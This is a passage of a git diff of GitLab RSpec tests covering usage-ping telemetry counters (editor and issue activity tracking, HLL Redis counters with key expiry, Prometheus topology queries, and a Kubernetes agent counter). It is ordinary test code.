- { 'service_pss' => 'Gitlab::PrometheusClient::ConnectionError' },
- { 'service_process_count' => 'Gitlab::PrometheusClient::ConnectionError' },
- { 'service_workers' => 'Gitlab::PrometheusClient::ConnectionError' }
+ { 'app_requests' => 'Gitlab::PrometheusClient::UnexpectedResponseError' },
+ { 'query_apdex' => 'Gitlab::PrometheusClient::UnexpectedResponseError' },
+ { 'node_memory' => 'Gitlab::PrometheusClient::UnexpectedResponseError' },
+ { 'node_memory_utilization' => 'Gitlab::PrometheusClient::UnexpectedResponseError' },
+ { 'node_cpus' => 'Gitlab::PrometheusClient::UnexpectedResponseError' },
+ { 'node_cpu_utilization' => 'Gitlab::PrometheusClient::UnexpectedResponseError' },
+ { 'node_uname_info' => 'Gitlab::PrometheusClient::UnexpectedResponseError' },
+ { 'service_rss' => 'Gitlab::PrometheusClient::UnexpectedResponseError' },
+ { 'service_uss' => 'Gitlab::PrometheusClient::UnexpectedResponseError' },
+ { 'service_pss' => 'Gitlab::PrometheusClient::UnexpectedResponseError' },
+ { 'service_process_count' => 'Gitlab::PrometheusClient::UnexpectedResponseError' },
+ { 'service_workers' => 'Gitlab::PrometheusClient::UnexpectedResponseError' }
],
nodes: []
})
@@ -435,13 +444,15 @@ RSpec.describe Gitlab::UsageData::Topology do
with_them do
it 'returns empty result and cancelled subsequent queries' do
- expect_prometheus_api_to receive(:query)
- .and_raise(exception)
+ expect_prometheus_client_to(
+ receive(:query).and_raise(exception)
+ )
expect(subject[:topology]).to eq({
duration_s: 0,
failures: [
{ 'app_requests' => exception.to_s },
+ { 'query_apdex' => 'timeout_cancellation' },
{ 'node_memory' => 'timeout_cancellation' },
{ 'node_memory_utilization' => 'timeout_cancellation' },
{ 'node_cpus' => 'timeout_cancellation' },
@@ -461,10 +472,8 @@ RSpec.describe Gitlab::UsageData::Topology do
end
end
- context 'when embedded Prometheus server is disabled' do
- it 'returns empty result with no failures' do
- expect(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_return(false)
-
+ shared_examples 'returns empty result with no failures' do
+ it do
expect(subject[:topology]).to eq({
duration_s: 0,
failures: []
@@ -472,9 +481,25 @@ RSpec.describe Gitlab::UsageData::Topology do
end
end
+ context 'can reach a ready Prometheus client' do
+ before do
+ expect(topology).to receive(:with_prometheus_client).and_yield(prometheus_client)
+ end
+
+ it_behaves_like 'query topology data from Prometheus'
+ end
+
+ context 'can not reach a ready Prometheus client' do
+ before do
+ expect(topology).to receive(:with_prometheus_client).and_return(fallback)
+ end
+
+ it_behaves_like 'returns empty result with no failures'
+ end
+
context 'when top-level function raises error' do
it 'returns empty result with generic failure' do
- allow(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_raise(RuntimeError)
+ expect(topology).to receive(:with_prometheus_client).and_raise(RuntimeError)
expect(subject[:topology]).to eq({
duration_s: 0,
@@ -486,6 +511,14 @@ RSpec.describe Gitlab::UsageData::Topology do
end
end
+ def receive_ready_check_query(result: nil, raise_error: nil)
+ if raise_error.nil?
+ receive(:ready?).and_return(result.nil? ? true : result)
+ else
+ receive(:ready?).and_raise(raise_error)
+ end
+ end
+
def receive_app_request_volume_query(result: nil)
receive(:query)
.with(/gitlab_usage_ping:ops:rate/)
@@ -497,6 +530,17 @@ RSpec.describe Gitlab::UsageData::Topology do
])
end
+ def receive_query_apdex_ratio_query(result: nil)
+ receive(:query)
+ .with(/gitlab_usage_ping:sql_duration_apdex:ratio_rate5m/)
+ .and_return(result || [
+ {
+ 'metric' => {},
+ 'value' => [1000, '0.996']
+ }
+ ])
+ end
+
def receive_node_memory_query(result: nil)
receive(:query)
.with(/node_memory_total_bytes/, an_instance_of(Hash))
diff --git a/spec/lib/gitlab/usage_data_counters/editor_unique_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/editor_unique_counter_spec.rb
new file mode 100644
index 00000000000..2a674557b76
--- /dev/null
+++ b/spec/lib/gitlab/usage_data_counters/editor_unique_counter_spec.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::UsageDataCounters::EditorUniqueCounter, :clean_gitlab_redis_shared_state do
+ let(:user1) { build(:user, id: 1) }
+ let(:user2) { build(:user, id: 2) }
+ let(:user3) { build(:user, id: 3) }
+ let(:time) { Time.zone.now }
+
+ shared_examples 'tracks and counts action' do
+ before do
+ stub_application_setting(usage_ping_enabled: true)
+ end
+
+ specify do
+ aggregate_failures do
+ expect(track_action(author: user1)).to be_truthy
+ expect(track_action(author: user1)).to be_truthy
+ expect(track_action(author: user2)).to be_truthy
+ expect(track_action(author: user3, time: time - 3.days)).to be_truthy
+
+ expect(count_unique(date_from: time, date_to: Date.today)).to eq(2)
+ expect(count_unique(date_from: time - 5.days, date_to: Date.tomorrow)).to eq(3)
+ end
+ end
+
+ it 'does not track edit actions if author is not present' do
+ expect(track_action(author: nil)).to be_nil
+ end
+
+ context 'when feature flag track_editor_edit_actions is disabled' do
+ it 'does not track edit actions' do
+ stub_feature_flags(track_editor_edit_actions: false)
+
+ expect(track_action(author: user1)).to be_nil
+ end
+ end
+ end
+
+ context 'for web IDE edit actions' do
+ it_behaves_like 'tracks and counts action' do
+ def track_action(params)
+ described_class.track_web_ide_edit_action(params)
+ end
+
+ def count_unique(params)
+ described_class.count_web_ide_edit_actions(params)
+ end
+ end
+ end
+
+ context 'for SFE edit actions' do
+ it_behaves_like 'tracks and counts action' do
+ def track_action(params)
+ described_class.track_sfe_edit_action(params)
+ end
+
+ def count_unique(params)
+ described_class.count_sfe_edit_actions(params)
+ end
+ end
+ end
+
+ context 'for snippet editor edit actions' do
+ it_behaves_like 'tracks and counts action' do
+ def track_action(params)
+ described_class.track_snippet_editor_edit_action(params)
+ end
+
+ def count_unique(params)
+ described_class.count_snippet_editor_edit_actions(params)
+ end
+ end
+ end
+
+ it 'can return the count of actions per user deduplicated ' do
+ described_class.track_web_ide_edit_action(author: user1)
+ described_class.track_snippet_editor_edit_action(author: user1)
+ described_class.track_sfe_edit_action(author: user1)
+ described_class.track_web_ide_edit_action(author: user2, time: time - 2.days)
+ described_class.track_web_ide_edit_action(author: user3, time: time - 3.days)
+ described_class.track_snippet_editor_edit_action(author: user3, time: time - 3.days)
+ described_class.track_sfe_edit_action(author: user3, time: time - 3.days)
+
+ expect(described_class.count_edit_using_editor(date_from: time, date_to: Date.today)).to eq(1)
+ expect(described_class.count_edit_using_editor(date_from: time - 5.days, date_to: Date.tomorrow)).to eq(3)
+ end
+end
diff --git a/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
index 2ab349a67d9..f881da71251 100644
--- a/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
@@ -8,25 +8,6 @@ RSpec.describe Gitlab::UsageDataCounters::HLLRedisCounter, :clean_gitlab_redis_s
let(:entity3) { '34rfjuuy-ce56-sa35-ds34-dfer567dfrf2' }
let(:entity4) { '8b9a2671-2abf-4bec-a682-22f6a8f7bf31' }
- let(:weekly_event) { 'g_analytics_contribution' }
- let(:daily_event) { 'g_search' }
- let(:different_aggregation) { 'different_aggregation' }
-
- let(:known_events) do
- [
- { name: "g_analytics_contribution", redis_slot: "analytics", category: "analytics", expiry: 84, aggregation: "weekly" },
- { name: "g_analytics_valuestream", redis_slot: "analytics", category: "analytics", expiry: 84, aggregation: "daily" },
- { name: "g_analytics_productivity", redis_slot: "analytics", category: "productivity", expiry: 84, aggregation: "weekly" },
- { name: "g_compliance_dashboard", redis_slot: "compliance", category: "compliance", aggregation: "weekly" },
- { name: "g_search", category: "global", aggregation: "daily" },
- { name: "different_aggregation", category: "global", aggregation: "monthly" }
- ].map(&:with_indifferent_access)
- end
-
- before do
- allow(described_class).to receive(:known_events).and_return(known_events)
- end
-
around do |example|
# We need to freeze to a reference time
# because visits are grouped by the week number in the year
@@ -37,77 +18,239 @@ RSpec.describe Gitlab::UsageDataCounters::HLLRedisCounter, :clean_gitlab_redis_s
Timecop.freeze(reference_time) { example.run }
end
- describe '.track_event' do
- it "raise error if metrics don't have same aggregation" do
- expect { described_class.track_event(entity1, different_aggregation, Date.current) } .to raise_error(Gitlab::UsageDataCounters::HLLRedisCounter::UnknownAggregation)
+ describe '.categories' do
+ it 'gets all unique category names' do
+ expect(described_class.categories).to contain_exactly('analytics', 'compliance', 'ide_edit', 'search', 'source_code', 'incident_management', 'issues_edit')
end
+ end
+
+ describe 'known_events' do
+ let(:weekly_event) { 'g_analytics_contribution' }
+ let(:daily_event) { 'g_analytics_search' }
+ let(:analytics_slot_event) { 'g_analytics_contribution' }
+ let(:compliance_slot_event) { 'g_compliance_dashboard' }
+ let(:category_analytics_event) { 'g_analytics_search' }
+ let(:category_productivity_event) { 'g_analytics_productivity' }
+ let(:no_slot) { 'no_slot' }
+ let(:different_aggregation) { 'different_aggregation' }
+ let(:custom_daily_event) { 'g_analytics_custom' }
- it 'raise error if metrics of unknown aggregation' do
- expect { described_class.track_event(entity1, 'unknown', Date.current) } .to raise_error(Gitlab::UsageDataCounters::HLLRedisCounter::UnknownEvent)
+ let(:global_category) { 'global' }
+ let(:compliance_category) {'compliance' }
+ let(:productivity_category) {'productivity' }
+ let(:analytics_category) { 'analytics' }
+
+ let(:known_events) do
+ [
+ { name: weekly_event, redis_slot: "analytics", category: analytics_category, expiry: 84, aggregation: "weekly" },
+ { name: daily_event, redis_slot: "analytics", category: analytics_category, expiry: 84, aggregation: "daily" },
+ { name: category_productivity_event, redis_slot: "analytics", category: productivity_category, aggregation: "weekly" },
+ { name: compliance_slot_event, redis_slot: "compliance", category: compliance_category, aggregation: "weekly" },
+ { name: no_slot, category: global_category, aggregation: "daily" },
+ { name: different_aggregation, category: global_category, aggregation: "monthly" }
+ ].map(&:with_indifferent_access)
end
- end
- describe '.unique_events' do
before do
- # events in current week, should not be counted as week is not complete
- described_class.track_event(entity1, weekly_event, Date.current)
- described_class.track_event(entity2, weekly_event, Date.current)
+ allow(described_class).to receive(:known_events).and_return(known_events)
+ end
- # Events last week
- described_class.track_event(entity1, weekly_event, 2.days.ago)
- described_class.track_event(entity1, weekly_event, 2.days.ago)
+ describe '.events_for_category' do
+ it 'gets the event names for given category' do
+ expect(described_class.events_for_category(:analytics)).to contain_exactly(weekly_event, daily_event)
+ end
+ end
- # Events 2 weeks ago
- described_class.track_event(entity1, weekly_event, 2.weeks.ago)
+ describe '.track_event' do
+ context 'when usage_ping is disabled' do
+ it 'does not track the event' do
+ stub_application_setting(usage_ping_enabled: false)
- # Events 4 weeks ago
- described_class.track_event(entity3, weekly_event, 4.weeks.ago)
- described_class.track_event(entity4, weekly_event, 29.days.ago)
+ described_class.track_event(entity1, weekly_event, Date.current)
- # events in current day should be counted in daily aggregation
- described_class.track_event(entity1, daily_event, Date.current)
- described_class.track_event(entity2, daily_event, Date.current)
+ expect(Gitlab::Redis::HLL).not_to receive(:add)
+ end
+ end
- # Events last week
- described_class.track_event(entity1, daily_event, 2.days.ago)
- described_class.track_event(entity1, daily_event, 2.days.ago)
+ context 'when usage_ping is enabled' do
+ before do
+ stub_application_setting(usage_ping_enabled: true)
+ end
- # Events 2 weeks ago
- described_class.track_event(entity1, daily_event, 14.days.ago)
+ it "raise error if metrics don't have same aggregation" do
+ expect { described_class.track_event(entity1, different_aggregation, Date.current) } .to raise_error(Gitlab::UsageDataCounters::HLLRedisCounter::UnknownAggregation)
+ end
- # Events 4 weeks ago
- described_class.track_event(entity3, daily_event, 28.days.ago)
- described_class.track_event(entity4, daily_event, 29.days.ago)
- end
+ it 'raise error if metrics of unknown aggregation' do
+ expect { described_class.track_event(entity1, 'unknown', Date.current) } .to raise_error(Gitlab::UsageDataCounters::HLLRedisCounter::UnknownEvent)
+ end
- it 'raise error if metrics are not in the same slot' do
- expect { described_class.unique_events(event_names: %w(g_analytics_contribution g_compliance_dashboard), start_date: 4.weeks.ago, end_date: Date.current) }.to raise_error('Events should be in same slot')
- end
+ context 'for weekly events' do
+ it 'sets the keys in Redis to expire automatically after the given expiry time' do
+ described_class.track_event(entity1, "g_analytics_contribution")
- it 'raise error if metrics are not in the same category' do
- expect { described_class.unique_events(event_names: %w(g_analytics_contribution g_analytics_productivity), start_date: 4.weeks.ago, end_date: Date.current) }.to raise_error('Events should be in same category')
- end
+ Gitlab::Redis::SharedState.with do |redis|
+ keys = redis.scan_each(match: "g_{analytics}_contribution-*").to_a
+ expect(keys).not_to be_empty
+
+ keys.each do |key|
+ expect(redis.ttl(key)).to be_within(5.seconds).of(12.weeks)
+ end
+ end
+ end
+
+ it 'sets the keys in Redis to expire automatically after 6 weeks by default' do
+ described_class.track_event(entity1, "g_compliance_dashboard")
+
+ Gitlab::Redis::SharedState.with do |redis|
+ keys = redis.scan_each(match: "g_{compliance}_dashboard-*").to_a
+ expect(keys).not_to be_empty
+
+ keys.each do |key|
+ expect(redis.ttl(key)).to be_within(5.seconds).of(6.weeks)
+ end
+ end
+ end
+ end
+
+ context 'for daily events' do
+ it 'sets the keys in Redis to expire after the given expiry time' do
+ described_class.track_event(entity1, "g_analytics_search")
+
+ Gitlab::Redis::SharedState.with do |redis|
+ keys = redis.scan_each(match: "*-g_{analytics}_search").to_a
+ expect(keys).not_to be_empty
+
+ keys.each do |key|
+ expect(redis.ttl(key)).to be_within(5.seconds).of(84.days)
+ end
+ end
+ end
+
+ it 'sets the keys in Redis to expire after 29 days by default' do
+ described_class.track_event(entity1, "no_slot")
- it "raise error if metrics don't have same aggregation" do
- expect { described_class.unique_events(event_names: %w(g_analytics_contribution g_analytics_valuestream), start_date: 4.weeks.ago, end_date: Date.current) }.to raise_error('Events should have same aggregation level')
+ Gitlab::Redis::SharedState.with do |redis|
+ keys = redis.scan_each(match: "*-{no_slot}").to_a
+ expect(keys).not_to be_empty
+
+ keys.each do |key|
+ expect(redis.ttl(key)).to be_within(5.seconds).of(29.days)
+ end
+ end
+ end
+ end
+ end
end
- context 'when data for the last complete week' do
- it { expect(described_class.unique_events(event_names: weekly_event, start_date: 1.week.ago, end_date: Date.current)).to eq(1) }
+ describe '.unique_events' do
+ before do
+ # events in current week, should not be counted as week is not complete
+ described_class.track_event(entity1, weekly_event, Date.current)
+ described_class.track_event(entity2, weekly_event, Date.current)
+
+ # Events last week
+ described_class.track_event(entity1, weekly_event, 2.days.ago)
+ described_class.track_event(entity1, weekly_event, 2.days.ago)
+ described_class.track_event(entity1, no_slot, 2.days.ago)
+
+ # Events 2 weeks ago
+ described_class.track_event(entity1, weekly_event, 2.weeks.ago)
+
+ # Events 4 weeks ago
+ described_class.track_event(entity3, weekly_event, 4.weeks.ago)
+ described_class.track_event(entity4, weekly_event, 29.days.ago)
+
+ # events in current day should be counted in daily aggregation
+ described_class.track_event(entity1, daily_event, Date.current)
+ described_class.track_event(entity2, daily_event, Date.current)
+
+ # Events last week
+ described_class.track_event(entity1, daily_event, 2.days.ago)
+ described_class.track_event(entity1, daily_event, 2.days.ago)
+
+ # Events 2 weeks ago
+ described_class.track_event(entity1, daily_event, 14.days.ago)
+
+ # Events 4 weeks ago
+ described_class.track_event(entity3, daily_event, 28.days.ago)
+ described_class.track_event(entity4, daily_event, 29.days.ago)
+ end
+
+ it 'raise error if metrics are not in the same slot' do
+ expect { described_class.unique_events(event_names: [compliance_slot_event, analytics_slot_event], start_date: 4.weeks.ago, end_date: Date.current) }.to raise_error('Events should be in same slot')
+ end
+
+ it 'raise error if metrics are not in the same category' do
+ expect { described_class.unique_events(event_names: [category_analytics_event, category_productivity_event], start_date: 4.weeks.ago, end_date: Date.current) }.to raise_error('Events should be in same category')
+ end
+
+ it "raise error if metrics don't have same aggregation" do
+ expect { described_class.unique_events(event_names: [daily_event, weekly_event], start_date: 4.weeks.ago, end_date: Date.current) }.to raise_error('Events should have same aggregation level')
+ end
+
+ context 'when data for the last complete week' do
+ it { expect(described_class.unique_events(event_names: weekly_event, start_date: 1.week.ago, end_date: Date.current)).to eq(1) }
+ end
+
+ context 'when data for the last 4 complete weeks' do
+ it { expect(described_class.unique_events(event_names: weekly_event, start_date: 4.weeks.ago, end_date: Date.current)).to eq(2) }
+ end
+
+ context 'when data for the week 4 weeks ago' do
+ it { expect(described_class.unique_events(event_names: weekly_event, start_date: 4.weeks.ago, end_date: 3.weeks.ago)).to eq(1) }
+ end
+
+ context 'when using daily aggregation' do
+ it { expect(described_class.unique_events(event_names: daily_event, start_date: 7.days.ago, end_date: Date.current)).to eq(2) }
+ it { expect(described_class.unique_events(event_names: daily_event, start_date: 28.days.ago, end_date: Date.current)).to eq(3) }
+ it { expect(described_class.unique_events(event_names: daily_event, start_date: 28.days.ago, end_date: 21.days.ago)).to eq(1) }
+ end
+
+ context 'when no slot is set' do
+ it { expect(described_class.unique_events(event_names: no_slot, start_date: 7.days.ago, end_date: Date.current)).to eq(1) }
+ end
end
+ end
- context 'when data for the last 4 complete weeks' do
- it { expect(described_class.unique_events(event_names: weekly_event, start_date: 4.weeks.ago, end_date: Date.current)).to eq(2) }
+ describe 'unique_events_data' do
+ let(:known_events) do
+ [
+ { name: 'event1_slot', redis_slot: "slot", category: 'category1', aggregation: "weekly" },
+ { name: 'event2_slot', redis_slot: "slot", category: 'category1', aggregation: "weekly" },
+ { name: 'event3', category: 'category2', aggregation: "weekly" },
+ { name: 'event4', category: 'category2', aggregation: "weekly" }
+ ].map(&:with_indifferent_access)
end
- context 'when data for the week 4 weeks ago' do
- it { expect(described_class.unique_events(event_names: weekly_event, start_date: 4.weeks.ago, end_date: 3.weeks.ago)).to eq(1) }
+ before do
+ allow(described_class).to receive(:known_events).and_return(known_events)
+ allow(described_class).to receive(:categories).and_return(%w(category1 category2))
+
+ described_class.track_event(entity1, 'event1_slot', 2.days.ago)
+ described_class.track_event(entity2, 'event2_slot', 2.days.ago)
+ described_class.track_event(entity3, 'event2_slot', 2.weeks.ago)
+
+ # events in different slots
+ described_class.track_event(entity2, 'event3', 2.days.ago)
+ described_class.track_event(entity2, 'event4', 2.days.ago)
end
- context 'when using daily aggregation' do
- it { expect(described_class.unique_events(event_names: daily_event, start_date: 7.days.ago, end_date: Date.current)).to eq(2) }
- it { expect(described_class.unique_events(event_names: daily_event, start_date: 28.days.ago, end_date: Date.current)).to eq(3) }
- it { expect(described_class.unique_events(event_names: daily_event, start_date: 28.days.ago, end_date: 21.days.ago)).to eq(1) }
+ it 'returns the number of unique events for all known events' do
+ results = {
+ 'category1' => {
+ 'event1_slot' => 1,
+ 'event2_slot' => 1,
+ 'category1_total_unique_counts_weekly' => 2,
+ 'category1_total_unique_counts_monthly' => 3
+ },
+ 'category2' => {
+ 'event3' => 1,
+ 'event4' => 1
+ }
+ }
+
+ expect(subject.unique_events_data).to eq(results)
end
end
end
diff --git a/spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb
new file mode 100644
index 00000000000..479fe36bcdd
--- /dev/null
+++ b/spec/lib/gitlab/usage_data_counters/issue_activity_unique_counter_spec.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::UsageDataCounters::IssueActivityUniqueCounter, :clean_gitlab_redis_shared_state do
+ let(:user1) { build(:user, id: 1) }
+ let(:user2) { build(:user, id: 2) }
+ let(:user3) { build(:user, id: 3) }
+ let(:time) { Time.zone.now }
+
+ shared_examples 'tracks and counts action' do
+ before do
+ stub_application_setting(usage_ping_enabled: true)
+ end
+
+ def count_unique(date_from:, date_to:)
+ Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: action, start_date: date_from, end_date: date_to)
+ end
+
+ specify do
+ aggregate_failures do
+ expect(track_action(author: user1)).to be_truthy
+ expect(track_action(author: user1)).to be_truthy
+ expect(track_action(author: user2)).to be_truthy
+ expect(track_action(author: user3, time: time - 3.days)).to be_truthy
+
+ expect(count_unique(date_from: time, date_to: time)).to eq(2)
+ expect(count_unique(date_from: time - 5.days, date_to: 1.day.since(time))).to eq(3)
+ end
+ end
+
+ it 'does not track edit actions if author is not present' do
+ expect(track_action(author: nil)).to be_nil
+ end
+
+ context 'when feature flag track_issue_activity_actions is disabled' do
+ it 'does not track edit actions' do
+ stub_feature_flags(track_issue_activity_actions: false)
+
+ expect(track_action(author: user1)).to be_nil
+ end
+ end
+ end
+
+ context 'for Issue title edit actions' do
+ it_behaves_like 'tracks and counts action' do
+ let(:action) { described_class::ISSUE_TITLE_CHANGED }
+
+ def track_action(params)
+ described_class.track_issue_title_changed_action(params)
+ end
+ end
+ end
+
+ context 'for Issue description edit actions' do
+ it_behaves_like 'tracks and counts action' do
+ let(:action) { described_class::ISSUE_DESCRIPTION_CHANGED }
+
+ def track_action(params)
+ described_class.track_issue_description_changed_action(params)
+ end
+ end
+ end
+
+ context 'for Issue assignee edit actions' do
+ it_behaves_like 'tracks and counts action' do
+ let(:action) { described_class::ISSUE_ASSIGNEE_CHANGED }
+
+ def track_action(params)
+ described_class.track_issue_assignee_changed_action(params)
+ end
+ end
+ end
+
+ context 'for Issue make confidential actions' do
+ it_behaves_like 'tracks and counts action' do
+ let(:action) { described_class::ISSUE_MADE_CONFIDENTIAL }
+
+ def track_action(params)
+ described_class.track_issue_made_confidential_action(params)
+ end
+ end
+ end
+
+ context 'for Issue make visible actions' do
+ it_behaves_like 'tracks and counts action' do
+ let(:action) { described_class::ISSUE_MADE_VISIBLE }
+
+ def track_action(params)
+ described_class.track_issue_made_visible_action(params)
+ end
+ end
+ end
+
+ it 'can return the count of actions per user deduplicated', :aggregate_failures do
+ described_class.track_issue_title_changed_action(author: user1)
+ described_class.track_issue_description_changed_action(author: user1)
+ described_class.track_issue_assignee_changed_action(author: user1)
+ described_class.track_issue_title_changed_action(author: user2, time: time - 2.days)
+ described_class.track_issue_title_changed_action(author: user3, time: time - 3.days)
+ described_class.track_issue_description_changed_action(author: user3, time: time - 3.days)
+ described_class.track_issue_assignee_changed_action(author: user3, time: time - 3.days)
+
+ events = Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category(described_class::ISSUE_CATEGORY)
+ today_count = Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: events, start_date: time, end_date: time)
+ week_count = Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: events, start_date: time - 5.days, end_date: 1.day.since(time))
+
+ expect(today_count).to eq(1)
+ expect(week_count).to eq(3)
+ end
+end
diff --git a/spec/lib/gitlab/usage_data_counters/kubernetes_agent_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/kubernetes_agent_counter_spec.rb
new file mode 100644
index 00000000000..8f9a3e0cd9e
--- /dev/null
+++ b/spec/lib/gitlab/usage_data_counters/kubernetes_agent_counter_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::UsageDataCounters::KubernetesAgentCounter do
+ it_behaves_like 'a redis usage counter', 'Kubernetes Agent', :gitops_sync
+
+ it_behaves_like 'a redis usage counter with totals', :kubernetes_agent, gitops_sync: 1
+
+ describe '.increment_gitops_sync' do
+ it 'increments the gtops_sync counter by the new increment amount' do
+ described_class.increment_gitops_sync(7)
+ described_class.increment_gitops_sync(2)
+ described_class.increment_gitops_sync(0)
+
+ expect(described_class.totals).to eq(kubernetes_agent_gitops_sync: 9)
+ end
+
+ it 'raises for negative numbers' do
+ expect { described_class.increment_gitops_sync(-1) }.to raise_error(ArgumentError)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage_data_counters/redis_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/redis_counter_spec.rb
index be528b081c5..d4f6110b3df 100644
--- a/spec/lib/gitlab/usage_data_counters/redis_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/redis_counter_spec.rb
@@ -11,23 +11,47 @@ RSpec.describe Gitlab::UsageDataCounters::RedisCounter, :clean_gitlab_redis_shar
stub_application_setting(usage_ping_enabled: setting_value)
end
- context 'when usage_ping is disabled' do
- let(:setting_value) { false }
+ describe '.increment' do
+ context 'when usage_ping is disabled' do
+ let(:setting_value) { false }
+
+ it 'counter is not increased' do
+ expect do
+ subject.increment(redis_key)
+ end.not_to change { subject.total_count(redis_key) }
+ end
+ end
+
+ context 'when usage_ping is enabled' do
+ let(:setting_value) { true }
- it 'counter is not increased' do
- expect do
- subject.increment(redis_key)
- end.not_to change { subject.total_count(redis_key) }
+ it 'counter is increased' do
+ expect do
+ subject.increment(redis_key)
+ end.to change { subject.total_count(redis_key) }.by(1)
+ end
end
end
- context 'when usage_ping is enabled' do
- let(:setting_value) { true }
+ describe '.increment_by' do
+ context 'when usage_ping is disabled' do
+ let(:setting_value) { false }
+
+ it 'counter is not increased' do
+ expect do
+ subject.increment_by(redis_key, 3)
+ end.not_to change { subject.total_count(redis_key) }
+ end
+ end
+
+ context 'when usage_ping is enabled' do
+ let(:setting_value) { true }
- it 'counter is increased' do
- expect do
- subject.increment(redis_key)
- end.to change { subject.total_count(redis_key) }.by(1)
+ it 'counter is increased' do
+ expect do
+ subject.increment_by(redis_key, 3)
+ end.to change { subject.total_count(redis_key) }.by(3)
+ end
end
end
end
diff --git a/spec/lib/gitlab/usage_data_counters/track_unique_actions_spec.rb b/spec/lib/gitlab/usage_data_counters/track_unique_actions_spec.rb
deleted file mode 100644
index bd348666729..00000000000
--- a/spec/lib/gitlab/usage_data_counters/track_unique_actions_spec.rb
+++ /dev/null
@@ -1,79 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::UsageDataCounters::TrackUniqueActions, :clean_gitlab_redis_shared_state do
- subject(:track_unique_events) { described_class }
-
- let(:time) { Time.zone.now }
-
- def track_event(params)
- track_unique_events.track_event(params)
- end
-
- def count_unique(params)
- track_unique_events.count_unique(params)
- end
-
- context 'tracking an event' do
- context 'when tracking successfully' do
- context 'when the application setting is enabled' do
- context 'when the target and the action is valid' do
- before do
- stub_application_setting(usage_ping_enabled: true)
- end
-
- it 'tracks and counts the events as expected' do
- project = Event::TARGET_TYPES[:project]
- design = Event::TARGET_TYPES[:design]
- wiki = Event::TARGET_TYPES[:wiki]
-
- expect(track_event(event_action: :pushed, event_target: project, author_id: 1)).to be_truthy
- expect(track_event(event_action: :pushed, event_target: project, author_id: 1)).to be_truthy
- expect(track_event(event_action: :pushed, event_target: project, author_id: 2)).to be_truthy
- expect(track_event(event_action: :pushed, event_target: project, author_id: 3)).to be_truthy
- expect(track_event(event_action: :pushed, event_target: project, author_id: 4, time: time - 3.days)).to be_truthy
- expect(track_event(event_action: :created, event_target: project, author_id: 5, time: time - 3.days)).to be_truthy
-
- expect(track_event(event_action: :destroyed, event_target: design, author_id: 3)).to be_truthy
- expect(track_event(event_action: :created, event_target: design, author_id: 4)).to be_truthy
- expect(track_event(event_action: :updated, event_target: design, author_id: 5)).to be_truthy
- expect(track_event(event_action: :pushed, event_target: design, author_id: 6)).to be_truthy
-
- expect(track_event(event_action: :destroyed, event_target: wiki, author_id: 5)).to be_truthy
- expect(track_event(event_action: :created, event_target: wiki, author_id: 3)).to be_truthy
- expect(track_event(event_action: :updated, event_target: wiki, author_id: 4)).to be_truthy
- expect(track_event(event_action: :pushed, event_target: wiki, author_id: 6)).to be_truthy
-
- expect(count_unique(event_action: described_class::PUSH_ACTION, date_from: time, date_to: Date.today)).to eq(3)
- expect(count_unique(event_action: described_class::PUSH_ACTION, date_from: time - 5.days, date_to: Date.tomorrow)).to eq(4)
- expect(count_unique(event_action: described_class::DESIGN_ACTION, date_from: time - 5.days, date_to: Date.today)).to eq(3)
- expect(count_unique(event_action: described_class::WIKI_ACTION, date_from: time - 5.days, date_to: Date.today)).to eq(3)
- expect(count_unique(event_action: described_class::PUSH_ACTION, date_from: time - 5.days, date_to: time - 2.days)).to eq(1)
- end
- end
- end
- end
-
- context 'when tracking unsuccessfully' do
- using RSpec::Parameterized::TableSyntax
-
- where(:application_setting, :target, :action) do
- true | Project | :invalid_action
- false | Project | :pushed
- true | :invalid_target | :pushed
- end
-
- with_them do
- before do
- stub_application_setting(usage_ping_enabled: application_setting)
- end
-
- it 'returns the expected values' do
- expect(track_event(event_action: action, event_target: target, author_id: 2)).to be_nil
- expect(count_unique(event_action: described_class::PUSH_ACTION, date_from: time, date_to: Date.today)).to eq(0)
- end
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/usage_data_counters/track_unique_events_spec.rb b/spec/lib/gitlab/usage_data_counters/track_unique_events_spec.rb
new file mode 100644
index 00000000000..8f5f1347ce8
--- /dev/null
+++ b/spec/lib/gitlab/usage_data_counters/track_unique_events_spec.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::UsageDataCounters::TrackUniqueEvents, :clean_gitlab_redis_shared_state do
+ subject(:track_unique_events) { described_class }
+
+ let(:time) { Time.zone.now }
+
+ def track_event(params)
+ track_unique_events.track_event(params)
+ end
+
+ def count_unique(params)
+ track_unique_events.count_unique_events(params)
+ end
+
+ context 'tracking an event' do
+ context 'when tracking successfully' do
+ context 'when the application setting is enabled' do
+ context 'when the target and the action is valid' do
+ before do
+ stub_application_setting(usage_ping_enabled: true)
+ end
+
+ it 'tracks and counts the events as expected' do
+ project = Event::TARGET_TYPES[:project]
+ design = Event::TARGET_TYPES[:design]
+ wiki = Event::TARGET_TYPES[:wiki]
+
+ expect(track_event(event_action: :pushed, event_target: project, author_id: 1)).to be_truthy
+ expect(track_event(event_action: :pushed, event_target: project, author_id: 1)).to be_truthy
